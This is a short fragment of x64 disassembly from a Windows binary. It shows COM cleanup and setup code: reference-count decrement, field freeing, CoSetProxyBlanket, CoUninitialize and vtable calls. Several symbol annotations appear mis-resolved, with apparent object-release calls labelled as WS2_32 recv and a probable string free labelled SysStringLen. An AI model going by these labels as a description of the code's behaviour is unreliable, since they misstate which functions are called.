call rbp
mov ebp, eax
mov ecx, 0xffffffff
lock xadd dword [rdi + 0x10], ecx
cmp ecx, 1
jne 0x14000431b
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400042fc
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rdi], r12
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14000430e
call fcn.1400e9d84
mov qword [rdi + 8], r12
mov edx, 0x18
mov rcx, rdi
call fcn.1400e9d84
test ebp, ebp
jns 0x140004333
mov rcx, qword [rsi]
test rcx, rcx
je 0x140004331
mov qword [rsi], r12
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
nop
jmp 0x140004388
mov dword [rsp + 0x38], r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0xa]
mov rcx, qword [r14]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
jns 0x140004398
mov rcx, qword [rsi]
test rcx, rcx
je 0x140004376
mov qword [rsi], r12
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov rcx, qword [r14]
test rcx, rcx
je 0x140004388
mov qword [r14], r12
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
nop
cmp byte [rbx + 0x10], 0
je 0x140004398
call qword [sym.imp.ole32.dll_CoUninitialize]
mov byte [rbx + 0x10], 0
mov rax, rbx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov ecx, 0x8007000e
call fcn.1400e9a20
int3